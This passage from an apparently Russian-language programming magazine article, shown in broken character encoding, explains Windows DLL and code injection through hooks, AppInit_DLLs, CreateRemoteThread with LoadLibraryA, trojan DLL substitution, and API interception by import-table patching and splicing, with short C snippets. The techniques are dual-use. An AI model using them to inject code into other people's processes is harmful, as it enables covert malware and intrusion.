ðàíñòâå ïðîöåññà B. Ïðè ýòîì ñ÷åò÷èê
áëîêèðîâêè â ïðîöåññå B óâåëè÷èâà-
åòñÿ íà îäèí è âûçûâàåòñÿ lpfn â àä-
ðåñíîì ïðîñòðàíñòâå ïðîöåññà B. Ïîñ-
ëå âîçâðàòà èç ôóíêöèè ñ÷åò÷èê áëî-
êèðîâêè ïðîåêöèè DLL â àäðåñíîì
ïðîñòðàíñòâå ïðîöåññà B óìåíüøàåò-
ñÿ íà îäèí.

Êîãäà ñèñòåìà âíåäðÿåò èëè ïðîåöè-
ðóåò DLL, ñîäåðæàùóþ ôóíêöèþ
ôèëüòðà ëîâóøêè, ïðîåöèðóåòñÿ âñÿ
DLL, à íå òîëüêî ýòà ôóíêöèÿ. À çíà-
÷èò, ïîòîêàì, âûïîëíÿåìûì â êîíòåêñ-
òå ïðîöåññà B, òåïåðü äîñòóïíû âñå
ôóíêöèè òàêîé DLL.

Â îòëè÷èå îò âíåäðåíèÿ DLL ñ ïî-
ìîùüþ ðååñòðà, ýòîò ñïîñîá ïîçâîëÿ-
åò â ëþáîé ìîìåíò îòêëþ÷èòü DLL îò
àäðåñíîãî ïðîñòðàíñòâà ïðîöåññà âû-
çîâîì ôóíêöèè:

BOOL UnhookWindowsHookEx(HHOOK hhk);

Åäèíñòâåííûé ïàðàìåòð hhk � ýòî
õýíäë õóêà, êîòîðûé ìû õîòèì óáðàòü
è êîòîðûé âîçâðàùàåòñÿ ïðè âûçîâå
SetWindowsHookEx. Êîãäà ïîòîê îáðà-
ùàåòñÿ ê ýòîé ôóíêöèè, ñèñòåìà ïðîñ-
ìàòðèâàåò âíóòðåííèé ñïèñîê ïðîöåñ-
ñîâ, â êîòîðûå åé ïðèøëîñü âíåäðèòü
äàííóþ DLL, è óìåíüøàåò ñ÷åò÷èê åå
áëîêèðîâîê íà îäèí. Êàê òîëüêî ýòîò
ñ÷åò÷èê îáíóëÿåòñÿ, DLL àâòîìàòè÷åñ-
êè âûãðóæàåòñÿ. Ñèñòåìà óâåëè÷èâàåò
åãî íåïîñðåäñòâåííî ïåðåä âûçîâîì
lpfn. Ýòî ïîçâîëÿåò èçáåæàòü íàðóøå-
íèÿ äîñòóïà ê ïàìÿòè. Åñëè áû ñ÷åò-
÷èê íå óâåëè÷èâàëñÿ, òî äðóãîé ïîòîê
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Ðèñ. 2. Èíèöèàëèçèðóåì ïàðàìåòð
AppInit_DLLs ñîáñòâåííîé DLL
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PTHREAD_START_ROUTIHE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress
(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcessRemote, NULL, 0, pfnThreadRtn,
"C:\\Windows\\SuperDLL.dll", 0, NULL);

ËÈÑÒÈÍÃ



ìîã áû âûçâàòü
UnhookWindowsHookEx â òîò ìîìåíò,
êîãäà ïîòîê ïðîöåññà B ïûòàåòñÿ âû-
ïîëíèòü êîä ôóíêöèè ëîâóøêè.

ÂÍÅÄÐÅÍÈÅ DLL Ñ ÏÎÌÎÙÜÞ
ÓÄÀËÅÍÍÛÕ ÏÎÒÎÊÎÂ

Ýòîò ñïîñîá âíåäðåíèÿ DLL ñàìûé
ãèáêèé èç âñåõ. Â íåì èñïîëüçóþòñÿ
ìíîãèå îñîáåííîñòè Windows, íàïðè-
ìåð ïîòîêè è ñèíõðîíèçàöèÿ ïîòîêîâ,
óïðàâëåíèå âèðòóàëüíîé ïàìÿòüþ è
ìíîãîå äðóãîå. Ñóòü ýòîãî ìåòîäà çàê-
ëþ÷àåòñÿ â òîì, ÷òîáû ñîçäàòü â ÷ó-
æîì ïðîöåññå ïîòîê, êîòîðûé ïîäãðó-
çèò â ýòîò ïðîöåññ íóæíóþ íàì DLL.
Áîëüøèíñòâî API-ôóíêöèé Windows
ïîçâîëÿþò ïðîöåññó óïðàâëÿòü ëèøü
ñàìèì ñîáîé, òåì ñàìûì èñêëþ÷àåòñÿ
ðèñê èñïîðòèòü ÷òî-íèáóäü â ðàáîòå
äðóãèõ ïðèëîæåíèé. Îäíàêî åñòü è òà-
êèå ôóíêöèè, êîòîðûå ïîçâîëÿþò óï-
ðàâëÿòü ÷óæèì ïðîöåññîì. Èçíà÷àëü-
íî ìíîãèå èç íèõ áûëè ðàññ÷èòàíû íà
ïðèìåíåíèå â îòëàä÷èêàõ è äðóãèõ
èíñòðóìåíòàëüíûõ ñðåäñòâàõ. Íî íè÷-
òî íå ìåøàåò èñïîëüçîâàòü èõ è â
îáû÷íûõ ïðîãðàììàõ.

Èòàê, êàê æå ðåàëèçîâàòü ýòî íà
ïðàêòèêå? Äëÿ íà÷àëà ñîçäàòü â íóæ-
íîì íàì ïðîöåññå ñâîé ïîòîê � äëÿ
ýòîãî åñòü âîëøåáíàÿ ôóíêöèÿ
CreateRemoteThread. Âîò åå îïèñàíèå:

HANDLE CreateRemoteThread(HANDLE
hProcess, LPSECURITY_ATTRIBUTES
lpThreadAttributes, SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter, DWORD
dwCreationFlags, LPDWORD lpThreadId);

Òåïåðü áûñòðåíüêî ðàññìîòðèì ïà-
ðàìåòðû, ïåðåäàâàåìûå ýòîé ôóíê-
öèè. hProcess - õýíäë ïðîöåññà, êîòî-
ðîìó áóäåò ïðèíàäëåæàòü íîâûé ïî-
òîê. lpThreadAttributes � ýòî óêàçàòåëü
íà ñòðóêòóðó ñ security-àòðèáóòàìè.
dwStackSize îïðåäåëÿåò ðàçìåð ñòåêà,
îòâåäåííûé íîâîìó ïîòîêó.
lpStartAddress åñòü àäðåñ ôóíêöèè
ïîòîêà, à lpParameter � ïàðàìåòð, ïå-
ðåäàâàåìûé åé. dwCreationFlags óñòà-

íàâëèâàåò äîïîëíèòåëüíûå ôëàãè,
óïðàâëÿþùèå ïîòîêîì. Îí ïðèíèìàåò
îäíî èç äâóõ çíà÷åíèé: 0 (èñïîëíåíèå
ïîòîêà íà÷èíàåòñÿ íåìåäëåííî) èëè
CREATE_SUSPENDED. Â ïîñëåäíåì
ñëó÷àå ñèñòåìà ñîçäàåò ïîòîê, èíèöè-
àëèçèðóåò åãî è ïðèîñòàíàâëèâàåò äî
ïîñëåäóþùèõ óêàçàíèé. Ïîñëåäíèé
ïàðàìåòð - ýòî àäðåñ ïåðåìåííîé òèïà
DWORD, â êîòîðîé ôóíêöèÿ âîçâðà-

ùàåò èäåíòèôèêàòîð, ïðèïèñàííûé
ñèñòåìîé íîâîìó ïîòîêó. Âîîáùå,
ïðîòîòèï CreateRemoteThread ïðàêòè-
÷åñêè ïîëíîñòüþ èäåíòè÷åí
CreateThread, çà èñêëþ÷åíèåì õýíäëà
ïðîöåññà, êîòîðîãî â ïîñëåäíåé ôóíê-
öèè íåò.

Òåïåðü âîçíèêëà ïðîáëåìà: êàê çàñ-
òàâèòü ñîçäàííûé íàìè óäàëåííûé
ïîòîê çàãðóçèòü íóæíóþ DLL? Î÷åíü
ïðîñòî: âûçâàòü LoadLibrary.

HMODULE LoadLibrary(LPCTSTR lpFileName);

Åäèíñòâåííûé ïåðåäàâàåìûé ïàðà-
ìåòð � ýòî óêàçàòåëü íà ñòðîêó, ñîäåð-
æàùóþ ïóòü ê DLL. Ñóùåñòâóþò äâå
ðåàëèçàöèè ýòîé API: LoadLibraryA,
LoadLibraryW. Ïåðâàÿ ïðåäíàçíà÷åíà
äëÿ ðàáîòû ñî ñòðîêîé â ANSI-êîäè-
ðîâêå, à âòîðàÿ � â þíèêîäå. Âîëåþ
ñóäåá ïðîòîòèïû LoadLibrary è ôóíê-
öèè ïîòîêà ïî÷òè èäåíòè÷íû: îáå ïðè-
íèìàþò åäèíñòâåííûé ïàðàìåòð è
âîçâðàùàþò íåêîå çíà÷åíèå. Êðîìå
òîãî, îáå èñïîëüçóþò îäíè è òå æå
ïðàâèëà âûçîâà - WINAPI. Òåïåðü
âêëþ÷èì ìîçã è ñòàðàåìñÿ ïðèäóìàòü,
êàê èñïîëüçîâàòü ýòî� Äîãàäàëñÿ?
Íóæíî ñîçäàòü íîâûé ïîòîê, àäðåñ
ôóíêöèè êîòîðîãî ÿâëÿåòñÿ àäðåñîìÏîòîê ïðîöåññà B ïûòàåòñÿ ñîçäàòü ïîäêëàññ îêíà, ñôîðìèðîâàííîãî ïîòîêîì

ïðîöåññà A
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Ýòà çàäà÷à â Windows 98, ïî ñóòè, òðèâèàëüíà. Â íåé âñå 32-ðàç-
ðÿäíûå ïðèëîæåíèÿ äåëÿò âåðõíèå äâà ãèãàáàéòà ñâîèõ àäðåñíûõ
ïðîñòðàíñòâ. Âûäåëåííûé òàì áëîê ïàìÿòè äîñòóïåí ëþáîìó ïðè-
ëîæåíèþ. Ñ ýòîé öåëüþ ìû äîëæíû èñïîëüçîâàòü ïðîåöèðóåìûå â
ïàìÿòü ôàéëû. Ñíà÷àëà ìû ñîçäàåì ïðîåêöèþ ôàéëà, à ïîòîì âû-
çûâàåì MapViewOfFile è äåëàåì åå âèäèìîé. Äàëåå ìû çàïèñûâàåì
íóæíóþ èíôîðìàöèþ â ýòó îáëàñòü ñâîåãî àäðåñíîãî ïðîñòðàíñòâà
(îíà îäèíàêîâà âî âñåõ àäðåñíûõ ïðîñòðàíñòâàõ). ×òîáû âñå ýòî ðà-
áîòàëî, íàì, âåðîÿòíî, ïðèäåòñÿ âðó÷íóþ ïèñàòü ìàøèííûå êîäû, à
ýòî çàòðóäíèò ïåðåíîñ ïðîãðàììû íà äðóãóþ ïðîöåññîðíóþ ïëàò-
ôîðìó. Íî ýòî íå î÷åíü ñòðàøíî: âñå ðàâíî Windows 98 ðàáîòàåò
òîëüêî íà ïðîöåññîðàõ òèïà x86.
Äàííûé ìåòîä òîæå äîâîëüíî òðóäåí, ïîòîìó ÷òî íàì íóæíî áóäåò
çàñòàâèòü ïîòîê äðóãîãî ïðîöåññà âûïîëíÿòü êîä â ïðîåêöèè ôàé-
ëà, äëÿ ÷åãî ïîíàäîáÿòñÿ êàêèå-òî ñðåäñòâà óïðàâëåíèÿ óäàëåííûì
ïîòîêîì. Çäåñü ïðèãîäèëàñü áû ôóíêöèÿ CreateRemoteThread, íî
Windows 98 åå íå ïîääåðæèâàåò. 

ÂÍÅÄÐÅÍÈÅ ÊÎÄÀ Â ÑÐÅÄÅ WINDOWS 98 ×ÅÐÅÇ
ÏÐÎÅÖÈÐÓÅÌÛÉ Â ÏÀÌßÒÜ ÔÀÉË



LoadLibraryA èëè LoadLibraryW. Ýòî
äîëæíî âûãëÿäåòü ïðèìåðíî òàê:

HANDLE hThread =
CreateRemoteThread(hProcessRemote,
NULL, 0, LoadlibraryA,
"C:\\Windows\\SuperDLL.dll", 0, NULL);

Íîâûé ïîòîê â óäàëåííîì ïðîöåññå
íåìåäëåííî âûçîâåò LoadlibraryA
(èëè LoadlibraryW, åñëè òû ïîêëîííèê

þíèêîäà), ïåðåäàâàÿ åé àäðåñ ïîëíî-
ãî èìåíè DLL. Âîçíèêàåò âîïðîñ: "Íå-
óæåëè âñå òàê ïðîñòî?" Àí íåò! Åñòü
ïàðà ïðîáëåìîê, êîòîðûå íåïðåìåííî
òðåáóþò ðåøåíèÿ.

Ïåðâàÿ çàêëþ÷àåòñÿ â òîì, ÷òî íåëü-
çÿ âîò òàê ïðîñòî ïåðåäàòü
CreateRemoteThread â ÷åòâåðòîì ïà-
ðàìåòðå LoadlibraryA èëè
LoadlibraryW. Ïðè÷èíà ýòîãî êðîåòñÿ â
óñòðîéñòâå ðàçäåëà èìïîðòà, êîòîðûé

ñîñòîèò èç øëþçîâ ê èìïîðòèðóåìûì
API. Òàê ÷òî êîãäà êîä âûçûâàåò
LoadlibraryA, â ðàçäåëå èìïîðòà èñ-
ïîëíèòåëüíîãî ôàéëà ãåíåðèðóåòñÿ
âûçîâ ñîîòâåòñòâóþùåãî øëþçà, à
óæå îòòóäà ïðîèñõîäèò âûçîâ íóæíîé
ôóíêöèè. Ñëåäîâàòåëüíî, ïðÿìàÿ
ññûëêà íà LoadlibraryA â âûçîâå
CreateRemoteThread ïðåîáðàçóåòñÿ â
îáðàùåíèå ê øëþçó â ðàçäåëå èìïîð-
òà. Ýòî çàñòàâèò ïîòîê âûïîëíÿòü íå-
èçâåñòíî ÷òî, è ýòî ïðèâåäåò, ñêîðåå
âñåãî, ê íàðóøåíèþ äîñòóïà. ×òîáû
íàïðÿìóþ âûçûâàòü LoadLibraryA, ìè-
íóÿ øëþç, ñ ïîìîùüþ GetProcAddress
íóæíî âûÿñíèòü åå òî÷íûé àäðåñ â
ïàìÿòè.

Ïîëó÷èâ àäðåñ LoadLibrary â íàøåì
ïðîöåññå, åãî ìîæíî çàïðîñòî èñ-
ïîëüçîâàòü â óäàëåííîì. Êàê ýòî ñòà-
íîâèòñÿ âîçìîæíûì? kernel32.dll, ñî-
äåðæàùàÿ ôóíêöèþ çàãðóçêè DLL,
âñåãäà ïðîåöèðóåòñÿ íà îäèí è òîò æå
äèàïàçîí àäðåñîâ, ïîýòîìó â ðàçíûõ
ïðîöåññàõ òî÷êè âõîäà â API-ôóíê-
öèþ áóäóò ñîâïàäàòü. Êîíå÷íî, òåîðå-
òè÷åñêè ÎÑ ìîæåò çàãðóçèòü ÷òî óãîä-
íî è êóäà óãîäíî, íî íà ïðàêòèêå ker-
nel32.dll íàõîäèòñÿ âñåãäà â îäíîì è
òîì æå ìåñòå. 

Ñ ïåðâîé ïðîáëåìîé ïîêîí÷åíî,
âîçüìåìñÿ çà âòîðóþ. Åå ñóòü çàêëþ-
÷àåòñÿ â òîì, ÷òî ñòðîêà ñ ïîëíûì
èìåíåì áèáëèîòåêè íàõîäèòñÿ â àä-
ðåñíîì ïðîñòðàíñòâå íàøåãî ïðîöåñ-
ñà. Ýòî íåõîðîøî, òàê êàê ìû ïåðåäà-
åì ýòîò ïàðàìåòð óäàëåííîìó ïîòîêó
â äðóãîì ïðîöåññå, à ïî ýòîìó àäðåñó
ìîæåò áûòü ÷òî óãîäíî. Ïðèëîæåíèå
èç-çà ýòîãî ñðàçó çàãíåòñÿ, èçäàâ
ïðåäñìåðòíîå ñîîáùåíèå î íåîáðàáà-
òûâàåìîì èñêëþ÷åíèè.

Âñå ýòî ðåøàåòñÿ î÷åíü ïðîñòî.
Íóæíî ðàçìåñòèòü ýòó çëîñ÷àñòíóþ
ñòðîêó â àäðåñíîì ïðîñòðàíñòâå óäà-
ëåííîãî ïðîöåññà è ïðè âûçîâå
CreateRemoteThread ïåðåäàâàòü
èìåííî ñìåùåíèå â ÷óæîì ïðîöåññå.
Â ýòîì äåëå ïîìîæåò òàêàÿ ôóíê-
öèÿ API:

LPVOID VirtualAllocEx(HANDLE hProcess,
LPVOID lpAddress, SIZE_T dwSize, DWORD
flAllocationType, DWORD flProtect);

Åäèíñòâåííûì ïðèìå÷àòåëüíûì ïà-
ðàìåòðîì ôóíêöèè ÿâëÿåòñÿ hProcess,
êîòîðûé äîëæåí ñîäåðæàòü õýíäë
äðóãîãî ïðîöåññà. Ïîñëå âûäåëåíèÿ
ïàìÿòè íóæíî çàïèñàòü òóäà ñòðîêó ñ
ïîëíûì èìåíåì DLL, äëÿ ÷åãî ïðèãî-
äèòñÿ WriteProcessMemory:

BOOL WriteProcessMemory(HANDLE
hProcess, LPVOID lpBaseAddress, LPCVOID
lpBuffer, SIZE_T nSize, SIZE_T*
lpNumberOfBytesWritten);

Ïàðàìåòð hProcess èäåíòèôèöèðóåò
óäàëåííûé ïðîöåññ, lpBaseAddress è
lpBuffer îïðåäåëÿþò àäðåñà â àäðåñ-
íûõ ïðîñòðàíñòâàõ óäàëåííîãî è ëî-
êàëüíîãî ïðîöåññà, a nSize - ÷èñëî ïå-
ðåäàâàåìûõ áàéòîâ. Ïî àäðåñó, íà êî-
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Îòëàä÷èê ìîæåò âûïîëíÿòü íàä îòëàæèâàåìûì ïðîöåññîì îñî-
áûå îïåðàöèè. Êîãäà îòëàæèâàåìûé ïðîöåññ çàãðóæåí è åãî àäðåñ-
íîå ïðîñòðàíñòâî ñîçäàíî, íî ïåðâè÷íûé ïîòîê åùå íå âûïîëíÿåò-
ñÿ, ñèñòåìà àâòîìàòè÷åñêè óâåäîìëÿåò îá ýòîì îòëàä÷èê. Â ýòîò ìî-
ìåíò îòëàä÷èê ìîæåò âíåäðèòü â íåãî íóæíûé êîä (èñïîëüçóÿ, íàï-
ðèìåð, WriteProcessMemory), à çàòåì çàñòàâèòü åãî ïåðâè÷íûé ïî-
òîê âûïîëíèòü âíåäðåííûé êîä. 
Ýòîò ìåòîä òðåáóåò ìàíèïóëÿöèé ñî ñòðóêòóðîé CONTEXT ïîòîêà
îòëàæèâàåìîãî ïðîöåññà, à çíà÷èò, êîä áóäåò çàâèñèì îò òèïà ïðî-
öåññîðà, è åãî ïðèäåòñÿ ìîäèôèöèðîâàòü ïðè ïåðåíîñå íà äðóãóþ
ïðîöåññîðíóþ ïëàòôîðìó. Êðîìå òîãî, ïî÷òè íàâåðíÿêà ïðèäåòñÿ
âðó÷íóþ êîððåêòèðîâàòü ìàøèííûé êîä, êîòîðûé äîëæåí áûòü âû-
ïîëíåí îòëàæèâàåìûì ïðîöåññîì. Íåëüçÿ çàáûâàòü è î æåñòêîé
ñâÿçè ìåæäó îòëàä÷èêîì è îòëàæèâàåìîé ïðîãðàììîé: êàê òîëüêî
îòëàä÷èê çàêðûâàåòñÿ, Windows íåìåäëåííî çàêðûâàåò è îòëàæè-
âàåìóþ ïðîãðàììó. Èçáåæàòü ýòîãî íåâîçìîæíî. 

ÑÀÃÀ ÎÁ ÎÒËÀÄ×ÈÊÀÕ

Êîíå÷íî, òåîðåòè÷åñêè ÎÑ ìîæåò çàãðóçèòü
÷òî óãîäíî è êóäà óãîäíî, 

íî íà ïðàêòèêå kernel32.dll íàõîäèòñÿ
âñåãäà â îäíîì è òîì æå ìåñòå.



òîðûé óêàçûâàåò ïàðàìåòð
lpNumberOfBytesWritten, âîçâðàùàåò-
ñÿ ÷èñëî ôàêòè÷åñêè ñ÷èòàííûõ èëè
çàïèñàííûõ áàéòîâ.

Òåïåðü íåìíîãî (êîðîòêî è ÿñíî)
îáîáùèì ñêàçàííîå. Ïåðâûì äåëîì
ìû âûäåëÿåì áëîê ïàìÿòè â àäðåñíîì
ïðîñòðàíñòâå óäàëåííîãî ïðîöåññà
ïðè ïîìîùè VirtualAllocEx. Çàòåì êî-
ïèðóåì â ïîëó÷åííûé áëîê ñòðîêó ñ
ïîëíûì èìåíåì áèáëèîòåêè ôóíêöè-
åé WriteProcessMemory, ïîñëå ÷åãî
ïîëó÷àåì GetProcAdress'îì àäðåñ
LoadLibraryA èëè LoadLibraryW âíóò-
ðè Kernel32. È, â êîíöå êîíöîâ, âûçû-
âàåì CreateRemoteThread, ñîçäàâàÿ
óäàëåííûé ïîòîê â òðåáóåìîì ïðîöåñ-
ñå, êîòîðûé âûçîâåò ñîîòâåòñòâóþ-
ùóþ LoadLibrary è ïåðåäàñò åé àäðåñ
âûäåëåííîãî ó÷àñòêà ïàìÿòè.

Íà ýòîì ýòàïå DLL âíåäðåíà â óäà-
ëåííûé ïðîöåññ, à åå ôóíêöèÿ DllMain
ïîëó÷èëà óâåäîìëåíèå
DLL_PROCESS_ATTACH è ìîæåò ïðèñ-
òóïèòü ê âûïîëíåíèþ íóæíîãî êîäà.
Êîãäà DllMain âåðíåò óïðàâëåíèå, óäà-
ëåííûé ïîòîê âûéäåò èç LoadLibrary è
âåðíåòñÿ â ôóíêöèþ BaseThreadStart,
êîòîðàÿ â ñâîþ î÷åðåäü âûçîâåò
ExitThread è çàâåðøèò ýòîò ïîòîê.

Òåïåðü â àäðåñíîì ïðîñòðàíñòâå ïî-
äîïûòíîãî ïðîöåññà áîëòàåòñÿ íèêî-
ìó íå íóæíàÿ áèáëèîòåêà è êóñîê ïà-
ìÿòè. ×òîáû èçáàâèòüñÿ îò íèõ, íóæíî
ïðîäåëàòü âñå âûøåñêàçàííîå, íî ñ

òî÷íîñòüþ äî íàîáîðîò: ñíà÷àëà îñâî-
áîäèòü âûäåëåííóþ ïàìÿòü ïðè ïîìî-
ùè VirtualFreeEx, çàòåì îïðåäåëèòü
ðåàëüíûé àäðåñ FreeLibrary â kernel32
ôóíêöèåé GetProcAdress, à ïîñëå ýòî-
ãî îïÿòü ñîçäàòü óäàëåííûé ïîòîê, êî-
òîðûé âûçîâåò FreeLibrary è ïåðåäàñò
åé õýíäë íàøåé DLL.

ÂÍÅÄÐÅÍÈÅ ÒÐÎßÍÑÊÎÉ DLL
Ïîñëåäíèé ðàññìîòðåííûé íàìè

ìåòîä ñîñòîèò â ïîäìåíå ðåàëüíî èñ-
ïîëüçóåìîé â ïðèëîæåíèè áèáëèîòå-
êè íà ñâîþ. Íàïðèìåð, òî÷íî èçâåñò-
íî, ÷òî êàêàÿ-òî ïðîãðàììà ïîäãðóæà-
åò xxx.dll. Ìîæíî íàïèñàòü ñâîþ áèá-
ëèîòåêó è íàçâàòü åå òåì æå èìåíåì,
÷òî è èñêîìàÿ, ïðåäâàðèòåëüíî ïåðåè-
ìåíîâàâ ïîñëåäíþþ. Äëÿ êîððåêòíîé
ðàáîòû ïðèäåòñÿ ýêñïîðòèðîâàòü òå
æå èäåíòèôèêàòîðû, ÷òî è â èñõîäíîé
xxx.dll, çàäåéñòâîâàâ ìåõàíèçì ïåðå-
àäðåñàöèè ôóíêöèé. Íî çäåñü åñòü îä-
íà çàêîâûðêà: åñëè ïîäìåíÿòü, íàïðè-
ìåð, áèáëèîòåêó îò Microsoft, òî ïðè
ñëåäóþùåì îáíîâëåíèè îíè âïîëíå
ìîãóò èçìåíèòü ýòó DLL, äîáàâèâ òóäà
íîâûå ôóíêöèè èëè ñäåëàâ åùå ÷òî-
íèáóäü. Ýòî çíà÷èò, ÷òî íå óäàñòñÿ
çàãðóçèòü ïðèëîæåíèÿ, èñïîëüçóþ-
ùèå ýòè íîâûå ôóíêöèè.

Ýòîò ìåòîä ìîæíî òàêæå ïðèìåíèòü
äëÿ êîíêðåòíîé ïðîãðàììû, ïðèñâîèâ
íàøåé áèáëèîòåêå óíèêàëüíîå èìÿ è
äîáàâèâ åå â ðàçäåë èìïîðòà exe-

ôàéëà. È çäåñü áåç ãëóáîêèõ çíàíèé
ôîðìàòîâ exe- è dll-ôàéëîâ íå âûæè-
âåøü.

ÏÅÐÅÕÂÀÒ API-ÔÓÍÊÖÈÉ
Òåïåðü íåìíîãî î ïåðåõâàòå API-

ôóíêöèé. Çàíèìàòüñÿ ýòèì ìîæíî
òîëüêî â ñâîåì ïðîöåññå (â ÷óæîì
ñëèøêîì ñëîæíî), íî, êîìáèíèðóÿ òåõ-
íèêè ïåðåõâàòà è âíåäðåíèÿ êîäà, ìîæ-
íî äîáèòüñÿ íåïëîõèõ ðåçóëüòàòîâ.

Ïåðåõâàò AAPI-ââûçîâîâ ññ èèñïîëüçî-
âàíèåì ððàçäåëà èèìïîðòà

Â ðàçäåëå èìïîðòà ñîäåðæèòñÿ ñïè-
ñîê DLL, íåîáõîäèìûõ ìîäóëþ äëÿ
íîðìàëüíîé ðàáîòû. Êðîìå òîãî, â íåì
ïåðå÷èñëåíû âñå èäåíòèôèêàòîðû,
êîòîðûå ìîäóëü èìïîðòèðóåò èç êàæ-
äîé DLL. Âûçûâàÿ èìïîðòèðóåìóþ
ôóíêöèþ, ïîòîê ïîëó÷àåò åå àäðåñ
ôàêòè÷åñêè èç ðàçäåëà èìïîðòà.

Ìåòîä ïåðåõâàòà ñ èñïîëüçîâàíèåì
ðàçäåëà èìïîðòà âûãëÿäèò òàê: îïðå-
äåëÿåòñÿ òî÷êà âõîäà ïåðåõâàòûâàå-
ìîé ôóíêöèè, ñîñòàâëÿåòñÿ ñïèñîê ìî-
äóëåé, â íàñòîÿùèé ìîìåíò çàãðóæåí-
íûõ â êîíòåêñò òðåáóåìîãî ïðîöåññà, à
çàòåì - ïåðåáèðàþòñÿ äåñêðèïòîðû èì-
ïîðòà ýòèõ ìîäóëåé â ïîèñêå àäðåñîâ
ïåðåõâàòûâàåìîé ôóíêöèè. Â ñëó÷àå
ñîâïàäåíèÿ ýòîò àäðåñ çàìåíÿåòñÿ íà
àäðåñ íàøåãî îáðàáîò÷èêà.

Ýòîò ñïîñîá õîðîø òåì, ÷òî êîä ïå-
ðåõâàòûâàåìîé ôóíêöèè íå èçìåíÿ-
åòñÿ, ïîýòîìó îáåñïå÷èâàåòñÿ êîððå-
êòíàÿ ðàáîòà â ìíîãîïîòî÷íîì ïðè-
ëîæåíèè. À íåäîñòàòîê â òîì, ÷òî
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ïðèëîæåíèÿ ìîãóò ñîõðàíèòü àäðåñ
ôóíêöèè äî ïåðåõâàòà è çàòåì âûçû-
âàòü åå, ìèíóÿ îáðàáîò÷èê. Òàêæå ìîæ-
íî ïîëó÷èòü àäðåñ ôóíêöèè èñïîëüçóÿ
GetProcAddress èç kernel32.dll.

Ñïëàéñèíã ôôóíêöèè
Ýòîò ñïîñîá ïåðåõâàòà äîâîëüíî

ñòàð. Ïðîãðàììèñòû àêòèâíî èñïîëü-
çîâàëè åãî åùå â 16-ðÿçðÿäíîé
Windows. Ñóòü ñïîñîáà â ñëåäóþ-
ùåì: íàõîäèòñÿ àäðåñ ôóíêöèè, êî-
òîðóþ íóæíî ïåðåõâàòèòü, è çàìåíÿ-
þòñÿ ïåðâûå ïÿòü áàéò äëèííûì
JMP íà íóæíûé íàì êîä. Ïðåäâàðè-
òåëüíî ýòè ïÿòü áàéò íóæíî ñîõðà-
íèòü ãäå-íèáóäü, îíè åùå ïîíàäî-
áÿòñÿ äëÿ âîññòàíîâëåíèÿ ðàáîòî-
ñïîñîáíîñòè API.

Òåïåðü, êîãäà âûçûâàåòñÿ îáðàáî-
òàííàÿ API-ôóíêöèÿ, ïåðåõîä â åå íà-
÷àëå ïåðåäàåò óïðàâëåíèå çàðàíåå
çàãîòîâëåííîìó êîäó. Ïîñëå ýòîãî
ìîæíî âîññòàíîâèòü îðèãèíàëüíûå
áàéòû è API áóäåò ðàáîòàòü íîðìàëü-
íî. Íåäîñòàòîê äàííîãî ìåòîäà â òîì,
÷òî, åñëè ïîñëå âîññòàíîâëåíèÿ íà÷à-
ëà ôóíêöèè ïðîèçîøëî ïåðåêëþ÷å-
íèå êîíòåêñòà íà äðóãîé ïîòîê ïðèëî-
æåíèÿ, îí ñìîæåò âûçâàòü ôóíêöèþ
ìèíóÿ ïåðåõâàò÷èê. ×òîáû íå ïîïàñòü
íà òàêèå íåïðèÿòíîñòè, ïåðåä óñòà-

íîâêîé API-ïåðåõâàòà íåîáõîäèìî îñ-
òàíàâëèâàòü âñå ïîáî÷íûå ïîòîêè,
èíà÷å ïðîöåññ çàïèñè ìîæåò áûòü
ïðåðâàí è ôóíêöèÿ âûçîâåòñÿ äðóãèì
ïîòîêîì, ÷òî ïðèâåäåò ê îøèáêå äîñ-
òóïà ê ïàìÿòè è àâàðèéíîìó çàâåðøå-
íèþ ïðèëîæåíèÿ. Ýòîò ýôôåêò ïðîÿâ-
ëÿåòñÿ íå âñåãäà, íî ìîæåò ñòàòü ïðè-
÷èíîé íåñòàáèëüíîé ðàáîòû ñèñòåìû,
ïîýòîìó íå ñëåäóåò ïðåíåáðåãàòü
ýòèì ìîìåíòîì.

ÝÒÎ ÊÎÍÅÖ?
Ê ñîæàëåíèþ, îáúåì ñòàòüè, êàê

âñåãäà, íåäîñòàòî÷åí, ÷òîáû âìåñòèòü
â íåãî âñå, ÷òî õî÷åòñÿ :), ïîýòîìó îñ-
òàåòñÿ òîëüêî îäíî � èñïîëíèòü ñâîå
îáåùàíèå, äàííîå â íà÷àëå ñòàòüè, è
ïîäñêàçàòü, êàê ïîëó÷èòü äîñòóï ê
ôóíêöèÿì ÿäðà.

API-ôóíêöèè ïðåäñòàâëÿþò ñîáîé íå
÷òî èíîå, êàê ôóíêöèè â ñèñòåìíûõ
DLL. Ëþáîé ïðîöåññ â ñèñòåìå îáÿçà-
òåëüíî èìååò â ñâîåì àäðåñíîì ïðîñò-
ðàíñòâå Ntdll.dll, ãäå ðàñïîëàãàþòñÿ
ôóíêöèè Native API - áàçîâûå ôóíê-
öèè íèçêîóðîâíåâîé ðàáîòû ñ ñèñòå-
ìîé, ôóíêöèè Kernel32.dll ÿâëÿþòñÿ
ïåðåõîäíèêàìè ê áîëåå ìîùíûì
ôóíêöèÿì Ntdll, ñëåäîâàòåëüíî, öåëå-
ñîîáðàçíî áóäåò ïåðåõâàòûâàòü èìåí-
íî Native API.

Ïðîáëåìà â òîì, ÷òî Native API-
ôóíêöèè íå äîêóìåíòèðîâàíû â SDK,
íî óçíàòü ìîäåëü èõ âûçîâà ìîæíî
äèçàññåìáëèðîâàíèåì Kernel32.dll. Ê
ñîæàëåíèþ, íåëüçÿ óòâåðæäàòü, ÷òî
àäðåñà ôóíêöèé â ñèñòåìíûõ áèáëèî-
òåêàõ íå èçìåíÿþòñÿ â çàâèñèìîñòè îò
âåðñèè ÎÑ, åå ñáîðêè èëè äàæå êîíê-
ðåòíîé ñèòóàöèè.

×ÒÎ ÆÅ ÌÎÆÅÒ ÁÛÒÜ?
À çà÷åì âñå ýòî íóæíî? Îáû÷íî-

ìó ïîëüçîâàòåëþ òàêèå òîíêîñòè, êî-
íå÷íî, íè ê ÷åìó, íî ëþäÿì, ïðîãðàì-
ìèðóþùèì â Windows, ýòî äîëæíî
áûòü íåáåçûíòåðåñíî. Ïåðâûì äåëîì
ïåðåõâàò API è âíåäðåíèå êîäà ìî-
æåò øèðîêî èñïîëüçîâàòüñÿ â òðîÿ-
